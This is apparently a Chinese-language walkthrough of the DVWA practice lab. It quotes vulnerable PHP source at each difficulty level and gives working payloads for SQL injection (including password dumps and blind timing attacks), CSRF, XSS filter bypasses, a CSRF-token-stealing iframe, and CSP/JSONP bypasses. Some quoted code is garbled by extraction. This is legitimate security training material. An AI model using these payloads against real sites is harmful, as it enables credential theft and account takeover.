'. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' ); $number_of_rows = mysqli_fetch_row( $result )[0]; mysqli_close($GLOBALS["___mysqli_ston"]); ?>
mysqli_real_escape_string 函数转义在 SQL 语句中使用的字符串中的特殊字符, 要转义的字符串。编码的字符是 NUL（ASCII 0）、\n、\r、\、’、" 和 Control-Z。
当使用1’ or 1=1#注入时发现报错，尝试使用如下注入:
因为页面上不允许自定义输入，浏览器导航栏的请求也未变化，此时需采用抓包的方式修改请求参数
1 or 1=1#
注入成功, 之后判断多少列，判断查询了哪些字段同low难度，在查询数据库中有哪些表时，因为无法使用单引号，可采用如下方式
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema = database() #
查出users表中有哪些字段，由于无法直接通过单引号+users表名查询，可通过将users转为16进制进行绕过查询
MySQL支持十六进制值。在数字上下文，它们施展分析近似于一个整数(64位精度)。在字符串上下文，它们施展分析近似于一个二进制字符串，这里每一对十六进制数字被变换为一个字符。
1 union select 1,group_concat(column_name) from information_schema.columns where table_name = 0x7573657273 #
查询出列名后即可进行最后的密码查询
1 or 1 = 1 union select group_concat(user_id),group_concat(password) from users #
High
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( 'Something went wrong.
' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "ID: {$id}
First name: {$first}
Surname: {$last}
";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
源码中没有对查询进行过滤，直接使用与low相同的注入方式即可，为什么这里要提交数据和查询结果两个不同页面显示呢？ 这样可以防止注入工具类似sqlmap的攻击，因为sqlmap无法在提交页面上查询到结果，收不到反馈则不能进行下一步攻击
Impossible
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "ID: {$id}
First name: {$first}
Surname: {$last}
";
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
源码中增加了csrf token提高安全性
对输入的值进行了数值校验
提前对SQL语句进行了预编译
对结果的展示条数进行了严格的限制，只有为1时才会进行输出
Weak Session IDS
Low
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id'])) {
$_SESSION['last_session_id'] = 0;
}
$_SESSION['last_session_id']++;
$cookie_value = $_SESSION['last_session_id'];
setcookie("dvwaSession", $cookie_value);
}
?>
从源码中分析可以得出，生成cookie的逻辑非常简单，只有一个数字，没有last_session_id的时候就设置为0，点击一次按钮cookie+1，通过抓包我们就可以伪造这个cookie，注意抓包的时候抓的是response包，修改的是set-cookie的值
Medium
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
$cookie_value = time();
setcookie("dvwaSession", $cookie_value);
}
?>
通过源码分析可以得出，cookie的生成策略是秒级的时间戳，如果不查看源码也能通过多次的生成cookie中发现规律，伪造cookie的时候按照时间戳的格式即可
High
<?php
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id_high'])) {
$_SESSION['last_session_id_high'] = 0;
}
$_SESSION['last_session_id_high']++;
$cookie_value = md5($_SESSION['last_session_id_high']);
setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
}
?>
在不看源码的情况下，通过多次观察，发现cookie的生成比较随机而且有过期时间，观察具体数值有点像md5，通过md5解密发现是数字，解密多个发现这个逻辑和low难度的很像都是+1，我们在伪造的时候可以参考这个逻辑，其次这个过期时间也可以修改，我们可以通过抓包延长这个cookie的过期时间
Impossible
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id_high'])) {
$_SESSION['last_session_id_high'] = 0;
}
$_SESSION['last_session_id_high']++;
$cookie_value = md5($_SESSION['last_session_id_high']);
setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
}
?>
通过源码可以看出，在该难度下进行了更复杂的加密，通过加盐的方式，更难的猜到cookie的生成方式，同时还将cookie绑定到了域和路径。这块我通过看资料cookie支持设置httponly方式被修改，具体还要后续学习强化
SQL Injection(Blind)
Low
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo 'User ID exists in the database.
';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo 'User ID is MISSING from the database.
';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
从源码中可以发现没有对输入作任何处理，但是查询结果并没有显示在页面上，这种情况下使用盲注进行，可用两种方式bool及timing
bool方式
通过页面的返回值来判断查询结果是否正确
输入为1时返回：User ID exists in the database.
输入为8时返回：User ID is MISSING from the database.
输入为1’时返回：User ID is MISSING from the database.
输入为1’#返回：User ID exists in the database.
判断出为字符注入，需要单引号闭合，同时也判断出规律，查询成功页面显示exists，查询失败显示missing
通过如下注入查询数据库版本的字符串长度：
1' and length(substr(version(), 1)) = 1 #
1' and length(substr(version(), 1)) = 2 #
1' and length(substr(version(), 1)) = 3 #
......
version() 函数以字符串形式返回 MySQL 数据库的当前版本
SUBSTR (str, pos, len) 参数说明:
str为列名/字符串；
pos为起始位置；mysql中的起始位置pos是从1开始的；如果为正数，就表示从正数的位置往下截取字符串（起始坐标从1开始），反之如果起始位置pos为负数，那么 表示就从倒数第几个开始截取；
len为截取字符个数/长度。
依次探查，通过页面显示exists来确定数据库的版本号长度，知道长度后再依次探寻具体的每一位版本号是多少
1' and substr((select version()),1,1) = '5' #
1' and substr((select version()),2,1) = '.' #
1' and substr((select version()),3,1) = '5' #
......
依次探查，最后可获得具体的数据库版本号
Timing方式
通过sleep() 及 **benchmark()**函数来判断结果的执行时间，通过执行时间的长短来判定结果是否正确
响应时间很短，没有执行sleep
1 and sleep(3)#
响应时间为3秒，执行了sleep
1' and sleep(3)#
通过以上注入判断出为字符串注入，需要单引号闭合
之后步骤和bool方式一样，需要注意的是这里要用到 if(expr1,expr2,expr3) 语句，其含义是如果 expr1 的结果是 True，则返回 expr2，否则返回 expr3。构造如下语句，版本号的长度猜测值为 1，服务器的响应时间很快，说明 sleep() 函数没有执行。
其他步骤如low难度一样
1' and if(length(substr((select version()),1)) = 1, sleep(3), 1) #
Medium
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo 'User ID exists in the database.
';
}
else {
// Feedback for end user
echo 'User ID is MISSING from the database.
';
}
//mysql_close();
}
?>
从源码中可得出，选择下拉框的方式拒绝用户任意输入，但是我们可以通过抓包的方式修改数据。同时对输入进行了mysqli_real_escape_string，也就是说单引号等特殊符号被转义了无法使用，可使用ASCII 码的值来代替原来单引号括起来的字符, MySql 的 ASCII() 函数把字符转换成 ascii 码值，然后我们同样把版本号的各个字符提取出来，然后和 0 ~ 9 和 “.” 11 个字符的 ascii 码值作比较
通过上面的抓包判断数据库版本字符串长度，判断具体的版本号的时候，由于单引号被过滤了，考虑用之前提到过的ascii码
时间盲注同理
1 and if(ascii(substr((select version()),1,1)) = 53 , sleep(3), 1) #
High
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo 'User ID exists in the database.
';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo 'User ID is MISSING from the database.
';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
首先判断是字符串注入还是数字注入
1' or '1' = '1
结果显示存在则代表是字符串注入，通过源码分析，并没有对输入进行过滤，可采用和low难度的方式进行诸如，需要注意的是，在源码中存在影响timing注入的混淆，可以在用bool注入。为什么采用提交和结果数据分开之前提到过适用于避免sqlmap等工具的扫描。同时虽然源码中limit 1但是完全可以通过#号对后面进行屏蔽
Impossible
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
// Get results
if( $data->rowCount() == 1 ) {
// Feedback for end user
echo 'User ID exists in the database.
';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo 'User ID is MISSING from the database.
';
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
源码中采用预编译，避免代码与数据混淆
同时加入了csrf token增加了安全性
对输入进行了类型限定，必须为数字
对查询结果进行了严格校验，若输出超过1行则显示missing
CSRF
Low
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . 'Password Changed."; } else { // Issue with passwords matching echo "
Passwords did not match."; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
源码中未做任何处理，可直接通过get请求的方式修改用户密码
/vulnerabilities/csrf/?password_new=222&password_conf=222&Change=Change#
Medium
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . 'Password Changed."; } else { // Issue with passwords matching echo "
Passwords did not match."; } } else { // Didn't come from a trusted source echo "
That request didn't look correct."; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
stripos() 函数用于查找字符串在另一字符串中第一次出现的位置（不区分大小写）
从源码中分析得出对请求头中的Referer及server做了校验，通过比对Referer是否包含Server，通过抓包，在请求前将Referer添加至请求头，使Referer与Server保持一致
High
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . 'Password Changed."; } else { // Issue with passwords matching echo "
Passwords did not match."; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?>
通过分析源码及查看页面元素发现，在表单中存放了用户的token，想要发起csrf攻击就要获取到用户的token,可以结合XSS攻击，在XSS(Stored)中发起一次攻击，代码如下:
<iframe src="../csrf/" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>
注意high难度的XSS(Stored)需要抓包请求修改name, 以实现每次访问该页面都可以获取到用户的token，获取到用户的token后发起csrf攻击
Impossible
CSRF Source
vulnerabilities/csrf/source/impossible.php
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_curr = $_GET[ 'password_current' ];
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Sanitise current password input
$pass_curr = stripslashes( $pass_curr );
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_curr = md5( $pass_curr );
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
// Do both new passwords match and does the current password match the user?
if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
// It does!
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database with new password
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();
// Feedback for the user
echo "Password Changed.
";
}
else {
// Issue with passwords matching
echo "Passwords did not match or current password incorrect.
";
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
若要发起csrf攻击，需要知道用户的原始密码，当前用户的密码暂时无法被发现（可以采用其他方式，如暴力破解），即无法发起攻击
XSS
XSS(DOM)
Low
源码中未进行任何过滤
/vulnerabilities/xss_d/?default=<script>alert(/xss/)</script>
Medium
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, ") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
源码中对script标签进行了过滤，当包含script标签时默认选择english,此时可采用其他标签，详情可参考XSS(Reflected)-High
/vulnerabilities/xss_d/?default=<img src=1 onerror=alert(/xss/)>
通过查看页面元素发现，由于未闭合标签导致XSS未生效
/vulnerabilities/xss_d/?default=></option></select><img src=1 onerror=alert(/xss/)>
只闭合option标签是不够的，因为还有select标签未闭合
High
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
源代码中对输入进行了白名单限制，通过#使后面的内容不提交到服务器实现绕过，但是前端页面会执行#后面的内容
/vulnerabilities/xss_d/?default=#
Impossible
服务端不需要做什么，在客户端会对输入的内容进行编码
XSS(Reflected)
通过XSS常用标签进行攻击
过滤空格，使用/代替
<img/src="xss"/onerror=alert("xss");>
大小写绕过过滤关键字
<Script>alert("xss")</script>
双写替换关键字，适用于只替换一次的情况
<s<script>cript>alert("xss")</script>
利用eval函数完成拼接
<script>a=aler;b=t;c='(xss);';eval(a+b+c);</script>
利用top函数完成拼接
<script>top["al"+"ert"](``xss``);</script>
Low
查看源码
代码中代码与数据混合使用，没有对$_GET内容做任何的过滤等处理，直接在input框中输入如下
<script>alert(/xss/)</script>
Medium
从源码中分析了解到对script标签进行了过滤，在这里采用如下方式，使过滤无效
<s<script>cript>alert(/xss/)</script>
也可采用大小写的方式，使过滤无效
<Script>alert(/xss/)</script>
High
该级别下对输入进行了正则校验，使用双写替换及大小写替换就不能生效了，但是能进行XSS攻击的标签不是只有script一个，还有img,a,input,svg,body,button等标签
<img src="xss" onerror=alert(/xss/)>
<a href="" onclick=alert(/xss/)>a</a>
<input onfocus=alert(/xss/)>
<svg onload=alert(/xss/)></svg>
<body onload=alert(/xss/)></body>
<iframe onload=alert(/xss/)></iframe>
<button onclick=alert(/xss/)>click</button>
<p onmouseup=alert(/xss/)>click</p>
<details open ontoggle=alert(/xss/)>
<select onfocus=alert(/xss/)></select>
<video><source onerror=alert(/xss/)>
<audio src="xss" onerror=alert(/xss/)>
<textarea onfocus=alert(/xss/) autofocus>
Impossible
使用htmlspecialchars将输入转为了html实体，防止将输入作为html元素
预定义的字符是：
&（和号） 成为&
" （双引号） 成为 "
' （单引号） 成为 '
< （小于） 成为 <
> （大于） 成为 >
XSS(Stored)
Low
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . 'trim(string,charlist) 函数用来删除指定字符串前后的预定义字符，默认是去空
stripslashes(string) 函数用来删除反斜杠，用于清理从数据库中取出来的html内容
mysqli_real_escape_string() 函数用于对字符串中的特殊字符进行转义，使SQL变得合法
GLOBALS 是引用全局作用域中可用的全部变量，是一个包含了全部变量的全局组合数组
源码实现的功能为：将name 及 message 存入DB中
分析源码可知，对name及message都未进行任何过滤，name有长度限制，可在message中使用如下内容
同时，该内容将被保存至DB，每次切换到该页面都会被执行
<script>alert(/xss/)</script>
Medium
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '
";
}
$page[ 'body' ] .= '
';
源码如下，源码定义了一个变量 headerCSP 放置了一些 url，使用 script src 指令指向一个外部 JavaScript 文件,header() 函数以原始形式将 HTTP 标头发送到客户端或浏览器.
也就是说源码对 HTTP 头定义了 CSP 标签，从而定义了可以接受外部 JavaScript 资源的白名单，通过抓包也可以知道是哪些网站。
pastebin 是个快速分享文本内容的网站，假如文本的内容是一段 JavaScript 代码，网页就会把该代码包含进来。
所以我们打开 pastebin 写个 JavaScript 攻击脚本，再将改文本的 url 注入进去实现攻击
Medium
<?php
$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";
header($headerCSP);
// Disable XSS protections so that inline alert boxes will work
header ("X-XSS-Protection: 0");
#
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
';
源码如下，HTTP 头信息中的 script-src 的合法来源发生了变化。script-src 还可以设置一些特殊值，unsafe-inline 允许执行页面内嵌的
现在就不是从外界导入 JavaScript 资源了，而是直接通过内联 JavaScript 代码，注入时直接令 nonce 为设定好的值即可
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=" > alert('xss')</script>
High
<?php
$headerCSP = "Content-Security-Policy: script-src 'self';";
header($headerCSP);
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
. DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.
1+2+3+4+5=
';
vulnerabilities/csp/source/high.js
function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp.php?callback=solveSum";
document.body.appendChild(s);
}
function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
}
var solve_button = document.getElementById ("solve");
if (solve_button) {
solve_button.addEventListener("click", function() {
clickButton();
});
}
注意到需要向 “source/jsonp.php” 传入 “callback” 参数，这个参数并没有进行任何过滤，因此我们可以通过这个参数进行注入
GET /DVWA/vulnerabilities/csp/source/jsonp.php?callback=alert(/xss/) HTTP/1.1
Impossible
<?php
$headerCSP = "Content-Security-Policy: script-src 'self';";
header($headerCSP);
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
';
vulnerabilities/csp/source/impossible.js
function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp_impossible.php";
document.body.appendChild(s);
}
function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
}
var solve_button = document.getElementById ("solve");
if (solve_button) {
solve_button.addEventListener("click", function() {
clickButton();
});
}
这个级别是 high 级别的加强，JSONP 调用的回调函数是硬编码的，CSP 策略被锁定为只允许外部脚本。
JavaScript
Low
$page[ 'body' ] .= <<<EOF
EOF;
?>
输入success显示无效的token
通过抓包发现无论输入是什么，token都不会变，也就是说我们的输入和token不匹配
查看源码发现有生成token的策略，由于实在前端生成的，我们可以直接调用，输入success后，手动调用generate_token()方法，然后提交，成功注入
Medium
vulnerabilities/javascript/source/medium.php
<?php
$page[ 'body' ] .= '';
?>
vulnerabilities/javascript/source/medium.js
function do_something(e){for(var t="",n=e.length-1;n>=0;n--)t+=e[n];return t}setTimeout(function(){do_elsesomething("XX")},300);function do_elsesomething(e){document.getElementById("token").value=do_something(e+document.getElementById("phrase").value+"XX")}
通过抓包和源码发现token的生成规则是输入的倒序及在开头结尾加上XX,通过调用控制台执行方法do_something来生成success的token，抓包修改token，记得前后加上XX
High
vulnerabilities/javascript/source/high.php
<?php
$page[ 'body' ] .= '';
?>
vulnerabilities/javascript/source/high.js
var a=['fromCharCode','toString','replace','BeJ','\x5cw+','Lyg','SuR','(w(){\x273M\x203L\x27;q\x201l=\x273K\x203I\x203J\x20T\x27;q\x201R=1c\x202I===\x271n\x27;q\x20Y=1R?2I:{};p(Y.3N){1R=1O}q\x202L=!1R&&1c\x202M===\x271n\x27;q\x202o=!Y.2S&&1c\x202d===\x271n\x27&&2d.2Q&&2d.2Q.3S;p(2o){Y=3R}z\x20p(2L){Y=2M}q\x202G=!Y.3Q&&1c\x202g===\x271n\x27&&2g.X;q\x202s=1c\x202l===\x27w\x27&&2l.3P;q\x201y=!Y.3H&&1c\x20Z!==\x272T\x27;q\x20m=\x273G\x27.3z(\x27\x27);q\x202w=[-3y,3x,3v,3w];q\x20U=[24,16,8,0];q\x20K=[3A,3B,3F,3E,3D,3C,3T,3U,4d,4c,4b,49,4a,4e,4f,4j,4i,4h,3u,48,47,3Z,3Y,3X,3V,3W,40,41,46,45,43,42,4k,3f,38,36,39,37,34,33,2Y,31,2Z,35,3t,3n,3m,3l,3o,3p,3s,3r,3q,3k,3j,3d,3a,3c,3b,3e,3h,3g,3i,4g];q\x201E=[\x271e\x27,\x2727\x27,\x271G\x27,\x272R\x27];q\x20l=[];p(Y.2S||!1z.1K){1z.1K=w(1x){A\x204C.Q.2U.1I(1x)===\x27[1n\x201z]\x27}}p(1y&&(Y.50||!Z.1N)){Z.1N=w(1x){A\x201c\x201x===\x271n\x27&&1x.1w&&1x.1w.1J===Z}}q\x202m=w(1X,x){A\x20w(s){A\x20O\x20N(x,1d).S(s)[1X]()}};q\x202a=w(x){q\x20P=2m(\x271e\x27,x);p(2o){P=2P(P,x)}P.1T=w(){A\x20O\x20N(x)};P.S=w(s){A\x20P.1T().S(s)};1g(q\x20i=0;i<1E.W;++i){q\x20T=1E[i];P[T]=2m(T,x)}A\x20P};q\x202P=w(P,x){q\x201S=2O(\x222N(\x271S\x27)\x22);q\x201Y=2O(\x222N(\x271w\x27).1Y\x22);q\x202n=x?\x271H\x27:\x271q\x27;q\x202z=w(s){p(1c\x20s===\x272p\x27){A\x201S.2x(2n).S(s,\x274S\x27).1G(\x271e\x27)}z{p(s===2q||s===2T){1u\x20O\x201t(1l)}z\x20p(s.1J===Z){s=O\x202r(s)}}p(1z.1K(s)||Z.1N(s)||s.1J===1Y){A\x201S.2x(2n).S(O\x201Y(s)).1G(\x271e\x27)}z{A\x20P(s)}};A\x202z};q\x202k=w(1X,x){A\x20w(G,s){A\x20O\x201P(G,x,1d).S(s)[1X]()}};q\x202f=w(x){q\x20P=2k(\x271e\x27,x);P.1T=w(G){A\x20O\x201P(G,x)};P.S=w(G,s){A\x20P.1T(G).S(s)};1g(q\x20i=0;i<1E.W;++i){q\x20T=1E[i];P[T]=2k(T,x)}A\x20P};w\x20N(x,1v){p(1v){l[0]=l[16]=l[1]=l[2]=l[3]=l[4]=l[5]=l[6]=l[7]=l[8]=l[9]=l[10]=l[11]=l[12]=l[13]=l[14]=l[15]=0;k.l=l}z{k.l=[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]}p(x){k.C=4I;k.B=4H;k.E=4l;k.F=4U;k.J=4J;k.I=4K;k.H=4L;k.D=4T}z{k.C=4X;k.B=4W;